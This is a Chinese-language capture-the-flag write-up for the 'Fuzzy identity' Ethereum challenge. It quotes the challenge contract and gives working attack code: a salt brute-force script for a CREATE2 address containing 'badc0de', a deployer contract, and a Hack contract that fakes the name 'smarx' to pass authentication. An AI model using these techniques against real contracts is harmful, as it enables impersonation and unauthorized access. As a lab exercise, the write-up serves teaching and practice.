Fuzzy identity 1. 题目
1.1
This contract can only be used by me (smarx). I don’t trust myself to remember my private key, so I’ve made it so whatever address I’m using in the future will work:
I always use a wallet contract that returns “smarx” if you ask its name
.
Everything I write has bad code in it, so my address always includes the hex string badc0de
.
To complete this challenge, steal my identity!
1.2 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.21; interface IName { function name() external view returns (bytes32); } contract FuzzyIdentityChallenge { bool public isComplete; function authenticate() public { require(isSmarx(msg.sender)); require(isBadCode(msg.sender)); isComplete = true; } function isSmarx(address addr) internal view returns (bool) { return IName(addr).name() == bytes32("smarx"); } function isBadCode(address _addr) internal pure returns (bool) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000badc0de"; bytes20 mask = hex"000000000000000000000000000000000fffffff"; for (uint256 i = 0; i < 34; i++) { if (addr & mask == id) { return true; } mask <<= 4; id <<= 4; } return false; } }
2. 分析
2.1 分析代码可知,要是 isComplete
的值为 true 需要成功调用 authenticate
函数
2.2 但是需要通过两层校验,第一层简单,直接按要求编写一个名为name
的函数皆可,第二个函数要求传入的地址是以 badc0de
结尾的,我在这里想到了使用 create2 的方法来构造一个以 badc0de
结尾的地址。
计算脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import { ethers } from "ethers" const const_num = "0xFF" ;const contract_add = "0xf8e81D47203A594245E36C48e151709F0C19fBe8" ;let str1 = const_num + contract_add.slice (2 ,contract_add.length );const bytecode = "0x6060604052341561000f57600080fd5b6102108061001e6000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610051578063d018db3e14610082575b600080fd5b341561005c57600080fd5b6100646100bb565b60405180826000191660001916815260200191505060405180910390f35b341561008d57600080fd5b6100b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506100e3565b005b60007f736d617278000000000000000000000000000000000000000000000000000000905090565b60008190508073ffffffffffffffffffffffffffffffffffffffff1663380c7a676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561014b57600080fd5b5af1151561015857600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff1663b2fa1c9e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156101be57600080fd5b5af115156101cb57600080fd5b5050506040518051905015156101e057600080fd5b50505600a165627a7a7230582063de817dba94ce175bbb183123a834c18147e9cd341cefbe4d1e5aee5ee963310029" ;const bytecodeToHash = ethers.utils .solidityKeccak256 (['bytes' ],[bytecode]);let salt = 0 ;const value = "badc0de" ; while (true ) { let saltToHash = ethers.utils .solidityKeccak256 (['uint' ],[salt]); saltToHash = saltToHash.slice (2 , saltToHash.length ) let str2 = str1.concat (saltToHash).concat (bytecodeToHash.slice (2 ,bytecodeToHash.length )); let hash = ethers.utils .solidityKeccak256 (['bytes' ] ,[str2]); if (hash.slice (26 , hash.length ).includes (value)) { console .log (`salt = 0x${salt.toString(16 )} ` ); console .log (`address = 0x${hash.slice(26 , hash.length)} ` ); break ; } salt++; }
计算结果

需要一个Helper
合约生成一个地址,脚本只是计算,并没有生成合约地址的功能。
Helper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pragma solidity ^0.8.0; contract Helper { function deployed(uint256 salt) public returns (address) { bytes32 _salt = keccak256(abi.encodePacked(salt)); bytes memory bytecode = hex"6060604052341561000f57600080fd5b6102108061001e6000396000f30060606040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610051578063d018db3e14610082575b600080fd5b341561005c57600080fd5b6100646100bb565b60405180826000191660001916815260200191505060405180910390f35b341561008d57600080fd5b6100b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506100e3565b005b60007f736d617278000000000000000000000000000000000000000000000000000000905090565b60008190508073ffffffffffffffffffffffffffffffffffffffff1663380c7a676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b151561014b57600080fd5b5af1151561015857600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff1663b2fa1c9e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15156101be57600080fd5b5af115156101cb57600080fd5b5050506040518051905015156101e057600080fd5b50505600a165627a7a7230582063de817dba94ce175bbb183123a834c18147e9cd341cefbe4d1e5aee5ee963310029"; address hacker; assembly { hacker := create2(0, add(bytecode, 0x20), mload(bytecode), _salt) } return hacker; } }
生成合约地址

根据计算出来的合约地址,生成Hacker
,并调用其攻击函数

3. 解题 攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 contract Hack is IName { function name() external view returns (bytes32) { return bytes32("smarx"); } function attack(address _challenge) public { FuzzyIdentityChallenge challenge = FuzzyIdentityChallenge(_challenge); challenge.authenticate(); require(challenge.isComplete()); } }
调用 attack()

解题成功~